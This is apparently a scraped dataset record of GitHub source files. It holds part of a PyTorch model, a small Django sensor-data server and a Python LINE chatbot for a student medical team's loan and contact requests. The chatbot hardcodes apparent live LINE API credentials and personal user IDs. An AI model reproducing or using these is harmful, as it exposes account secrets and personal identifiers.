3, 1, 1), nn.BatchNorm2d(64), nn.ReLU())\n\n # positioning\n self.positioning = Positioning(512)\n\n # focus\n self.focus3 = Focus(256, 512)\n self.focus2 = Focus(128, 256)\n self.focus1 = Focus(64, 128)\n\n for m in self.modules():\n if isinstance(m, nn.ReLU):\n m.inplace = True\n\n def forward(self, x):\n # x: [batch_size, channel=3, h, w]\n layer0 = self.layer0(x) # [-1, 64, h/2, w/2]\n layer1 = self.layer1(layer0) # [-1, 256, h/4, w/4]\n layer2 = self.layer2(layer1) # [-1, 512, h/8, w/8]\n layer3 = self.layer3(layer2) # [-1, 1024, h/16, w/16]\n layer4 = self.layer4(layer3) # [-1, 2048, h/32, w/32]\n\n # channel reduction\n cr4 = self.cr4(layer4)\n cr3 = self.cr3(layer3)\n cr2 = self.cr2(layer2)\n cr1 = self.cr1(layer1)\n\n # positioning\n positioning, predict4 = self.positioning(cr4)\n\n # focus\n focus3, predict3 = self.focus3(cr3, positioning, predict4)\n focus2, predict2 = self.focus2(cr2, focus3, predict3)\n focus1, predict1 = self.focus1(cr1, focus2, predict2)\n\n # rescale\n predict4 = F.interpolate(predict4, size=x.size()[2:], mode='bilinear', align_corners=True)\n predict3 = F.interpolate(predict3, size=x.size()[2:], mode='bilinear', align_corners=True)\n predict2 = F.interpolate(predict2, size=x.size()[2:], mode='bilinear', align_corners=True)\n predict1 = F.interpolate(predict1, size=x.size()[2:], mode='bilinear', align_corners=True)\n\n if self.training:\n return predict4, predict3, predict2, predict1\n\n return torch.sigmoid(predict4), torch.sigmoid(predict3), torch.sigmoid(predict2), torch.sigmoid(\n predict1)\n" } ]
6
murtraja/django-sensor-server
https://github.com/murtraja/django-sensor-server
72fd09141ff84eee2a2e75db474b0ecc208070a0
3ed329af2d38ed0d1809cd89e254b93e7fcc4daf
8441383d17d70fdc57ff2d54352f336d0f666c50
refs/heads/master
2021-01-10T06:51:51.676488
2015-09-24T11:25:59
2015-09-24T11:25:59
43,062,338
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6692014932632446, "alphanum_fraction": 0.6692014932632446, "avg_line_length": 36.71428680419922, "blob_id": "a7df2c22e0ac51a158b695a52c8a438652dd552a", "content_id": "6a4928f13bbf1da93f86c6435978850acbab4388", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 263, "license_type": "no_license", "max_line_length": 62, "num_lines": 7, "path": "/post/urls.py", "repo_name": "murtraja/django-sensor-server", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, url\nfrom post import views\n\nurlpatterns = patterns('',\n url(r'^$', views.postData, name= 'post'),\n url(r'^monitor/$', views.monitorData, name = 'monitor'),\n url(r'^download/$', views.downloadAPK, name = 'download'))" }, { "alpha_fraction": 0.6848428845405579, "alphanum_fraction": 0.6866912841796875, "avg_line_length": 29.94285774230957, "blob_id": "516b4cff777dc8f63abb6375de971e3638687a68", "content_id": "b15d1d24b037dba242aa4d455cf193968f856947", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 80, "num_lines": 35, "path": "/post/views.py", "repo_name": "murtraja/django-sensor-server", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom ws4redis.publisher import RedisPublisher\nfrom ws4redis.redis_store import RedisMessage\n\nimport json\n\n# Create your views here.\n@csrf_exempt\ndef postData(request):\n print 'inside postData'\n if request.method == 'POST':\n print 'inside post'\n name = request.POST['name']\n print name\n data = request.POST['data']\n print data\n mydict = {'name':name, 'data':data}\n print mydict\n redis_publisher = RedisPublisher(facility = 'sensor', broadcast = True)\n message = RedisMessage(json.dumps(mydict))\n redis_publisher.publish_message(message)\n return HttpResponse(\"OK\")\n else:\n print 'get request'\n #return render(request,'post/postdata.html')\n return downloadAPK(request)\n\ndef monitorData(request):\n return render(request, 'post/monitor.html')\n\ndef downloadAPK(request):\n return HttpResponse(\"<a href = /static/Sensorization.apk>Download now!</a>\")" } ]
2
rrifaldiu/line-bot-medik
https://github.com/rrifaldiu/line-bot-medik
02b19ac07291575926c23a93d22f6761cd11e961
bfcf6570e62d841a6b3fe13adf55ac9779ffad62
df6fa4fa52d4708ae51ea2b47d5d1fa9f7b6d83e
refs/heads/master
2021-09-02T05:00:05.729420
2017-12-30T15:09:20
2017-12-30T15:09:20
115,486,950
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4998168349266052, "alphanum_fraction": 0.5082221031188965, "avg_line_length": 52.46681213378906, "blob_id": "459cb386bd70e2ffc87ed64b665121405470060b", "content_id": "9171239448e7e5ccb7aa500afe9b7bbe87deca47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 49136, "license_type": "no_license", "max_line_length": 366, "num_lines": 919, "path": "/app.py", "repo_name": "rrifaldiu/line-bot-medik", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import unicode_literals\n\nimport errno\nimport os\nimport sys\nimport tempfile\nfrom argparse import ArgumentParser\n\nfrom flask import Flask, request, abort\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\nfrom linebot.models import (\n MessageEvent, TextMessage, TextSendMessage,\n SourceUser, SourceGroup, SourceRoom,\n TemplateSendMessage, ConfirmTemplate, MessageTemplateAction,\n ButtonsTemplate, ImageCarouselTemplate, ImageCarouselColumn, URITemplateAction,\n PostbackTemplateAction, DatetimePickerTemplateAction,\n CarouselTemplate, CarouselColumn, PostbackEvent,\n StickerMessage, StickerSendMessage, LocationMessage, LocationSendMessage,\n ImageMessage, VideoMessage, AudioMessage, FileMessage,\n UnfollowEvent, FollowEvent, JoinEvent, LeaveEvent, BeaconEvent,\n ImageSendMessage\n)\n\napp = Flask(__name__)\n\n# get channel_secret and channel_access_token from your environment variable\n# channel_secret = os.getenv('LINE_CHANNEL_SECRET', None)\n# channel_access_token = os.getenv('LINE_CHANNEL_ACCESS_TOKEN', None)\n# if channel_secret is None:\n# print('Specify LINE_CHANNEL_SECRET as environment variable.')\n# sys.exit(1)\n# if channel_access_token is None:\n# print('Specify LINE_CHANNEL_ACCESS_TOKEN as environment variable.')\n# sys.exit(1)\n\nline_bot_api = LineBotApi('yCLqDYJLIiRo5xSfnc/9tmKbtKL9oEcBhzG8Mczc0WH+8B+/Q9PT0ifkMT+frqRsgAKYqB1/CVhwx7vWPLKP1nyZszn6gGdqQ0H1CgfLUxFhX2Wgreq3cFZw1D1km/IXBljdJyY4fOw5kyvSQpcu6gdB04t89/1O/w1cDnyilFU=')\nhandler = WebhookHandler('62826fb39d7f3cb6a27f8573bc5e9b29')\n\n#SEGALA INISIALISASI ADA DI SINI HEHEHE\n\n#INISIALISASI NAMA\nnama_admin = 'faldi'\nnama_tandu_1 = 'ilham'\nnama_tandu_2 = 'sarah'\nnama_obat_1 = 'kahfi'\nnama_obat_2 = 'rany'\nnama_tft_1 = 'ivannsa'\nnama_tft_2 = 'fathin'\nnama_humas_1 = 'atsila'\nnama_humas_2 = 'benito'\n\n#INISIALISASI USER ID\nuser_id_admin = 'U36bb6303be7a1563a7d27d0ee2234ea5' #faldi\nuser_id_tandu_1 = 'Ua84e82b214cc4cf6783aa167d9ec3ce8' #ilham\nuser_id_tandu_2 = 'tandu2' #sarah\nuser_id_obat_1 = 'Ufa385bd386f3634b04f5ca57360b0a8a' #kahfi\nuser_id_obat_2 = 'obat2' #rani\nuser_id_tft_1 = 'Uc21abb39fe1b5c1ab376ba9b5209ccce' #ivansa\nuser_id_tft_2 = 'tft2' #fathin ?????\nuser_id_humas_1 = 'humas1' #atsila\nuser_id_humas_2 = 'humas2' #benito ?????\n\n#RESOURCE - IMAGE\nimgurl_tandu = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/tandu/tandu.jpg'\nimgurl_obat = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/obat/obat.jpg'\nimgurl_obat_base = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/obat/obat_base.jpg'\nimgurl_obat_pj = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/obat/obat_pj.jpg'\nimgurl_obat_satuan = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/obat/obat_pilih.jpg'\nimgurl_tft = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/tft/tft.jpg'\nimgurl_humas = 'https://raw.githubusercontent.com/rrifaldiu/line-bot-medik/master/static/res/jpg/humas/humas.jpg'\nimgurl_dp = 'https://image.ibb.co/bJPgVR/240240.jpg'\n\nform_template = ('\\n' +\n 'Nama : \\n' +\n 'Jurusan : \\n' +\n 'ID Line : \\n' +\n 'Lembaga : \\n' +\n 'Tujuan peminjaman : \\n' +\n 'Tanggal peminjaman : \\n' +\n 'Tanggal pengembalian : ')\n\nstatic_tmp_path = os.path.join(os.path.dirname(__file__), 'static', 'tmp')\n\n\n# function for create tmp dir for download content\ndef make_static_tmp_dir():\n try:\n os.makedirs(static_tmp_path)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(static_tmp_path):\n pass\n else:\n raise\n\n\[email protected](\"/callback\", methods=['POST'])\ndef callback():\n # get X-Line-Signature header value\n signature = request.headers['X-Line-Signature']\n\n # get request body as text\n body = request.get_data(as_text=True)\n app.logger.info(\"Request body: \" + body)\n\n # handle webhook body\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n abort(400)\n\n return 'OK'\n\n\[email protected](MessageEvent, message=TextMessage)\ndef handle_text_message(event):\n text = event.message.text\n profile = line_bot_api.get_profile(event.source.user_id)\n if text.lower() == 'menu':\n image_carousel_template = ImageCarouselTemplate(columns=[\n ImageCarouselColumn(image_url=imgurl_tandu,\n action=PostbackTemplateAction(\n label='Pinjam Tandu',\n data='tandu')),\n ImageCarouselColumn(image_url=imgurl_obat,\n action=PostbackTemplateAction(\n label='Pinjam Obat',\n data='obat')),\n ImageCarouselColumn(image_url=imgurl_tft,\n action=PostbackTemplateAction(\n label='TFT Medik',\n data='tft')),\n ImageCarouselColumn(image_url=imgurl_humas,\n action=PostbackTemplateAction(\n label='Hubungi Kami',\n data='form_humas'))\n ])\n template_message = TemplateSendMessage(\n alt_text='Silahkan pilih menu yang diinginkan', template=image_carousel_template)\n line_bot_api.reply_message(\n event.reply_token, [\n StickerSendMessage(\n package_id='3',\n sticker_id='242'\n ),\n TextSendMessage(text='Halo! Selamat datang di OA Medik OSKM!\\n\\n Silahkan pilih menu di bawah ini'),\n template_message\n ]\n )\n\n elif text.lower().startswith('balas-'):\n profile = line_bot_api.get_profile(event.source.user_id)\n if text.lower().startswith('balas-' + nama_admin):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text='Menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n TextSendMessage(text=text[(6+len(nama_admin)) : ]),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif text.lower().startswith('balas-' + nama_tandu_1):\n line_bot_api.multicast([user_id_admin, user_id_tandu_1], [\n TextSendMessage(text=nama_tandu_1.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n TextSendMessage(text=text[(6+len(nama_tandu_1)) : ]),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n # elif text.lower().startswith('balas-' + nama_tandu_2):\n # line_bot_api.multicast([user_id_admin, user_id_tandu_2], [\n # TextSendMessage(text=nama_tandu_2.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n # TextSendMessage(text=text[(6+len(nama_tandu_2)) : ]),\n # TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n # TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n # ])\n # line_bot_api.reply_message(\n # event.reply_token, \n # TextSendMessage(text='Pesan telah terkirim')\n # )\n elif text.lower().startswith('balas-' + nama_obat_1):\n line_bot_api.multicast([user_id_admin, user_id_obat_1], [\n TextSendMessage(text=nama_obat_1.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n TextSendMessage(text=text[(6+len(nama_obat_1)) : ]),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n # elif text.lower().startswith('balas-' + nama_obat_2):\n # line_bot_api.multicast([user_id_admin, user_id_obat_2], [\n # TextSendMessage(text=nama_obat_2.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n # TextSendMessage(text=text[(6+len(nama_obat_2)) : ]),\n # TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n # TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n # ])\n # line_bot_api.reply_message(\n # event.reply_token, \n # TextSendMessage(text='Pesan telah terkirim')\n # )\n elif text.lower().startswith('balas-' + nama_tft_1):\n line_bot_api.multicast([user_id_admin, user_id_tft_1], [\n TextSendMessage(text=nama_tft_1.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n TextSendMessage(text=text[(6+len(nama_tft_1)) : ]),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n # elif text.lower().startswith('balas-' + nama_tft_2):\n # line_bot_api.multicast([user_id_admin, user_id_tft_2], [\n # TextSendMessage(text=nama_tft_2.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n # TextSendMessage(text=text[(6+len(nama_tft_2)) : ]),\n # TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n # TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n # ])\n # line_bot_api.reply_message(\n # event.reply_token, \n # TextSendMessage(text='Pesan telah terkirim')\n # )\n # elif text.lower().startswith('balas-' + nama_humas_1):\n # line_bot_api.multicast([user_id_admin, user_id_humas_1], [\n # TextSendMessage(text=nama_humas_1.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n # TextSendMessage(text=text[(6+len(nama_humas_1)) : ]),\n # TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n # TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n # ])\n # line_bot_api.reply_message(\n # event.reply_token, \n # TextSendMessage(text='Pesan telah terkirim')\n # )\n # elif text.lower().startswith('balas-' + nama_humas_2):\n # line_bot_api.multicast([user_id_admin, user_id_humas_2], [\n # TextSendMessage(text=nama_humas_2.title() + ' menerima balasan dari:\\nNama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url),\n # TextSendMessage(text=text[(6+len(nama_humas_2)) : ]),\n # TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n # TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n # ])\n # line_bot_api.reply_message(\n # event.reply_token, \n # TextSendMessage(text='Pesan telah terkirim')\n # )\n else:\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Nama admin tidak ditemukan\\nPastikan nama admin tidak dituliskan dengan kapital')\n )\n\n elif text.lower().startswith('balas_admin-'):\n user_id_balas = text[(text.find('-') + 1) : (text.find(':'))]\n balasan = text[(text.find(':')+2) : ]\n if (event.source.user_id == user_id_admin):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_admin.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_admin +'\\u0027 diikuti dengan pesan Anda'),\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_tandu_1):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tandu_1.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_tandu_1 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_tandu_1 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tandu_1.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_tandu_2):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tandu_2.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_tandu_2 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_tandu_2 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tandu_2.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_obat_1):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_obat_1.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_obat_1 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_obat_1 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_obat_1.title())\n ])\n \n\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_obat_2):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_obat_2.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_obat_2 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_obat_2 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_obat_2.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_tft_1):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tft_1.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_tft_1 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_tft_1 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tft_1.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_tft_2):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tft_2.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_tft_2 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_tft_2 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_tft_2.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_humas_1):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_humas_1.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_humas_1 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_humas_1 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_humas_1.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n elif (event.source.user_id == user_id_humas_2):\n line_bot_api.push_message(user_id_balas, [\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_humas_2.title()),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan ketik \\u0027balas-' + nama_humas_2 +'\\u0027 diikuti dengan pesan Anda'),\n ])\n if (user_id_admin != user_id_balas):\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(text=nama_humas_2 + ' membalas untuk ' + profile.display_name + ' (User ID = ' + profile.user_id + ')'),\n TextSendMessage(text=balasan + '\\n\\nSalam, ' + nama_humas_2.title())\n ])\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Pesan telah terkirim')\n )\n else:\n line_bot_api.reply_message(\n event.reply_token, \n TextSendMessage(text='Anda bukan admin')\n )\n\n elif text.startswith('[Form Peminjaman Tandu]'):\n line_bot_api.multicast([user_id_admin\n #, user_id_tandu_1, user_id_tandu_2\n ], [\n TextSendMessage(\n text=text\n ),\n TextSendMessage(\n text='Nama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url\n ),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(\n text='Form telah dikirimkan\\n\\nKami akan memproses secepatnya. Harap bersabar dan menunggu'\n )\n )\n elif text.startswith('[Form Peminjaman Obat '):\n line_bot_api.multicast([user_id_admin\n , user_id_obat_1\n #, user_id_obat_2\n ], [\n TextSendMessage(\n text=text\n ),\n TextSendMessage(\n text='Nama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url\n ),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(\n text='Form telah dikirimkan\\n\\nKami akan memproses secepatnya. Harap bersabar dan menunggu'\n )\n )\n elif text.startswith('[Form TFT Medik]'):\n line_bot_api.multicast([user_id_admin\n , user_id_tft_1\n #, user_id_tft_2\n ], [\n TextSendMessage(\n text=text\n ),\n TextSendMessage(\n text='Nama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url\n ),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(\n text='Form telah dikirimkan\\n\\nKami akan memproses secepatnya. Harap bersabar dan menunggu'\n )\n )\n elif text.startswith('[Form Kontak]'):\n line_bot_api.multicast([user_id_admin\n #, user_id_humas_1, user_id_humas_2\n ], [\n TextSendMessage(\n text=text\n ),\n TextSendMessage(\n text='Nama LINE: ' + profile.display_name + '\\nFoto: ' + profile.picture_url\n ),\n TextSendMessage(text='Untuk membalas pesan di atas, silahkan gunakan format di bawah:'),\n TextSendMessage(text='balas_admin-' + profile.user_id + ':\\n<pesan Anda>')\n ])\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(\n text='Form telah dikirimkan\\n\\nKami akan memproses secepatnya. Harap bersabar dan menunggu'\n )\n )\n elif text.lower() == 'profile':\n if isinstance(event.source, SourceUser):\n line_bot_api.reply_message(\n event.reply_token, [\n TextSendMessage(\n text='Display name: ' + profile.display_name\n ),\n TextSendMessage(\n text='Status message: ' + profile.status_message\n ),\n TextSendMessage(\n text='User ID: ' + event.source.user_id\n )\n ]\n )\n line_bot_api.push_message(user_id_admin, [\n TextSendMessage(\n text='Display name: ' + profile.display_name\n ),\n TextSendMessage(\n text='Status message: ' + profile.status_message\n ),\n TextSendMessage(\n text='User ID: ' + event.source.user_id\n )\n ])\n else:\n line_bot_api.reply_message(\n event.reply_token,\n TextMessage(text=\"Bot can't use profile API without user ID\"))\n \n else:\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text='Maaf, perintah yang Anda masukkan salah. Ketik \"menu\" untuk melihat menu medik'))\n\n\[email protected](MessageEvent, message=LocationMessage)\ndef handle_location_message(event):\n line_bot_api.reply_message(\n event.reply_token,\n LocationSendMessage(\n title=event.message.title, address=event.message.address,\n latitude=event.message.latitude, longitude=event.message.longitude\n )\n )\n\n\[email protected](MessageEvent, message=StickerMessage)\ndef handle_sticker_message(event):\n line_bot_api.reply_message(\n event.reply_token,\n StickerSendMessage(\n package_id=event.message.package_id,\n sticker_id=event.message.sticker_id)\n )\n\n\n# Other Message Type\[email protected](MessageEvent, message=(ImageMessage, VideoMessage, AudioMessage))\ndef handle_content_message(event):\n if isinstance(event.message, ImageMessage):\n ext = 'jpg'\n elif isinstance(event.message, VideoMessage):\n ext = 'mp4'\n elif isinstance(event.message, AudioMessage):\n ext = 'm4a'\n else:\n return\n\n message_content = line_bot_api.get_message_content(event.message.id)\n with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix=ext + '-', delete=False) as tf:\n for chunk in message_content.iter_content():\n tf.write(chunk)\n tempfile_path = tf.name\n\n dist_path = tempfile_path + '.' + ext\n dist_name = os.path.basename(dist_path)\n os.rename(tempfile_path, dist_path)\n\n line_bot_api.reply_message(\n event.reply_token, [\n TextSendMessage(text='Save content.'),\n TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))\n ])\n\n\[email protected](MessageEvent, message=FileMessage)\ndef handle_file_message(event):\n message_content = line_bot_api.get_message_content(event.message.id)\n with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix='file-', delete=False) as tf:\n for chunk in message_content.iter_content():\n tf.write(chunk)\n tempfile_path = tf.name\n\n dist_path = tempfile_path + '-' + event.message.file_name\n dist_name = os.path.basename(dist_path)\n os.rename(tempfile_path, dist_path)\n\n line_bot_api.reply_message(\n event.reply_token, [\n TextSendMessage(text='Save file.'),\n TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))\n ])\n\n\[email protected](FollowEvent)\ndef handle_follow(event):\n line_bot_api.reply_message(\n event.reply_token, TextSendMessage(text='Got follow event'))\n\n\[email protected](UnfollowEvent)\ndef handle_unfollow():\n app.logger.info(\"Got Unfollow event\")\n\n\[email protected](JoinEvent)\ndef handle_join(event):\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text='Joined this ' + event.source.type))\n\n\[email protected](LeaveEvent)\ndef handle_leave():\n app.logger.info(\"Got leave event\")\n\[email protected](PostbackEvent)\ndef handle_postback(event):\n if event.postback.data == 'tandu':\n buttons_template = ButtonsTemplate(\n title='Pastikan Anda telah memahami SOP di atas', text='Klik tombol di bawah untuk melanjutkan', actions= [\n PostbackTemplateAction(\n label='Oke', data='form_tandu')\n ]\n )\n template_message = TemplateSendMessage(\n alt_text='[SOP Peminjaman Tandu]', template=buttons_template)\n line_bot_api.reply_message(\n event.reply_token, [TextSendMessage(text='[SOP Peminjaman Tandu]\\n' +\n '\\n' +\n '1. Peminjaman dilakukan dengan terlebih dahulu menghubungi OA line Medik 2017 lalu mengikuti format yang telah disediakan.\\n' +\n '\\n' +\n '2. Peminjam lalu akan dihubungi untuk konfirmasi peminjaman jika peminjaman dapat dilakukan.\\n' +\n '\\n' +\n '3. Peminjam dan perwakilan dari medik kemudian akan bertemu untuk pengambilan tandu.\\n' +\n 'Untuk pengembalian, peminjam dan perwakilan medik akan bertemu kembali untuk penyerahan tandu.\\n' +\n '\\n' +\n '4. 